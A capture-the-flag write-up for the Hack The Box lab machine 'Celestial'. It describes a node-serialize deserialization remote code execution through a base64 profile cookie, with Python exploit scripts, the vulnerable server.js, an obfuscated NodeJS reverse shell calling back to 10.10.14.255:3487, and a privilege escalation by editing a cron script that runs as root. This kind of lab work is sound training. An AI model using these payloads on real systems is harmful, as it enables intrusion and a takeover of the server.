Writeup: Hack The Box - Machines - Celestial

Description

  • Name: Celestial
  • IP: 10.10.10.85
  • Author: 3ndG4me
  • Difficulty: 3.7/10

Discovery

nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.85

1
2
3
PORT     STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Pwn

The server running on port 3000 is the default for the NodeJs Express library. The default behaviour is:

  • get /
  • if is no cookie is set then create a cookie with this value: profile="eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ== that decode in {"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"};
  • else prints Hey Dummy 2 + 2 is 22.

We can see that username and num fields are printed on the page but the latter is somehow managed by the application to return its sum (is JS "2" + "2" = "22").

After some trial and error we managed to get some informations from the application just inserting some JavaScript code in the num field:

1
<pre>SyntaxError: Unexpected token }<br>  at Object.exports.unserialize (/home/sun/node_modules/node-serialize/lib/serialize.js:75:69)<br>  at /home/sun/server.js:11:24<br>  at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br>  at next (/home/sun/node_modules/express/lib/router/route.js:137:13)<br>  at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)<br>  at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br>  at /home/sun/node_modules/express/lib/router/index.js:281:22<br>  at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)<br>  at next (/home/sun/node_modules/express/lib/router/index.js:275:10)<br>  at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)</pre>

The input from the cookie is unserialized and the printed out as a sum num + num.

We then found that is possible to exploit this behaviour sending a serialized function to the application, the payload string should begin with _$$ND_FUNC$$_ and using the immediately invoked function expression for JS is possible to run this function.

We then tried the example from the article:

1
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', (err, stdout) => { console.log(stdout) }); }()"}

without success…

Since the username is printed on the response we changed payload and cookie field to inject the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
import requests
import json
from base64 import b64encode

host = "http://10.10.10.85:3000"
UA = "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"


def wrap_cookie(payload):
base_cookie = '{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}'
cookie = json.loads(base_cookie)
cookie["num"] = payload
cookie = json.dumps(cookie)
return dict(profile=b64encode(bytes(cookie, "utf-8")).decode())


attack = "_$$ND_FUNC$$_function (){return require('child_process').execSync('ls -la').toString(); }()"
with requests.Session() as s:
s.headers = {'User-Agent': UA}
r = s.get(host, cookies=wrap_cookie(attack))
print(r.text)

Since we don’t want to use console.log using execSync we get the output of the command as a string ([object Object].toString()).

The exploit worked!

We can now read the user flag:

We exfiltrated also the server.js script which is the one that manage our requests

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())

app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
var sum = eval(obj.num + obj.num);
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
}else{
res.send("An error occurred...invalid username type");
}
}else {
res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
maxAge: 900000,
httpOnly: true
});
}
res.send("<h1>404</h1>");
});
app.listen(3000);

For the root flag we need a shell to perform further analysis on the machine so with a NodeJS script we created a reverse shell payload to run through the web application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var rev_shell = `var net = require('net');
var spawn = require('child_process').spawn;

if (typeof String.prototype.contains === 'undefined'){
String.prototype.contains = function(it) {
return this.indexOf(it) != -1;
};
}
void function() {
HOST="10.10.14.255";
PORT="3487";
var client = new net.Socket();
client.connect(PORT, HOST, () => {
var sh = spawn((process.platform.contains('win')?'cmd.exe':'/bin/sh'),[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
}();`

str = new Array();
for (var i = 0; i < rev_shell.length; i++) {
str.push(rev_shell[i].charCodeAt());
}
console.log("eval(String.fromCharCode(" + str.toString() + "))");

This script prints the payload to send in the num field, the complete script now is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
import requests
import json
from base64 import b64encode

host = "http://10.10.10.85:3000"
UA = "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"


def wrap_cookie(payload):
base_cookie = '{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}'
cookie = json.loads(base_cookie)
cookie["num"] = payload
cookie = json.dumps(cookie)
return dict(profile=b64encode(bytes(cookie, "utf-8")).decode())


attack = "_$$ND_FUNC$$_function (){return require('child_process').execSync('cat /home/sun/Documents/user.txt').toString(); }()"
attack = "_$$ND_FUNC$$_function (){return require('child_process').execSync('ls -la').toString(); }()"
attack = "_$$ND_FUNC$$_function (){return require('child_process').execSync('echo -n nc 10.10.14.255 3487 > /tmp/dodo').toString(); }()"
attack = "_$$ND_FUNC$$_function (){return require('child_process').execSync('chmod +x /tmp/dodo').toString(); }()"
attack = "_$$ND_FUNC$$_function (){return require('child_process').execSync('ps aux').toString(); }()"
rev_sh = "_$$ND_FUNC$$_function (){eval(String.fromCharCode(118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,123,10,32,32,32,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,10,32,32,32,32,32,32,32,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,10,32,32,32,32,125,59,10,125,10,118,111,105,100,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,53,53,34,59,10,32,32,32,32,80,79,82,84,61,34,51,52,56,55,34,59,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,40,41,32,61,62,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,40,112,114,111,99,101,115,115,46,112,108,97,116,102,111,114,109,46,99,111,110,116,97,105,110,115,40,39,119,105,110,39,41,63,39,99,109,100,46,101,120,101,39,58,39,47,98,105,110,47,115,104,39,41,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,125,41,59,10,125,40,41,59)); }()"


with requests.Session() as s:
s.headers = {'User-Agent': UA}
r = s.get(host, cookies=wrap_cookie(rev_sh))
print(r.text)

The web application will returns An error occurred...invalid username type but on our nc -lvp 3487 we got the shell!

and a bash shell

Now we saw that the home file output.txt is created from root and then chown-ed to sun user.

grep-ing on the running processes we got that the script is runned by root.

We then edited (user sun can wrote to it) the script.py to print the root flag

After 5 minutes (the script run every 5 minutes) we got the root flag in /home/sun/output.txt file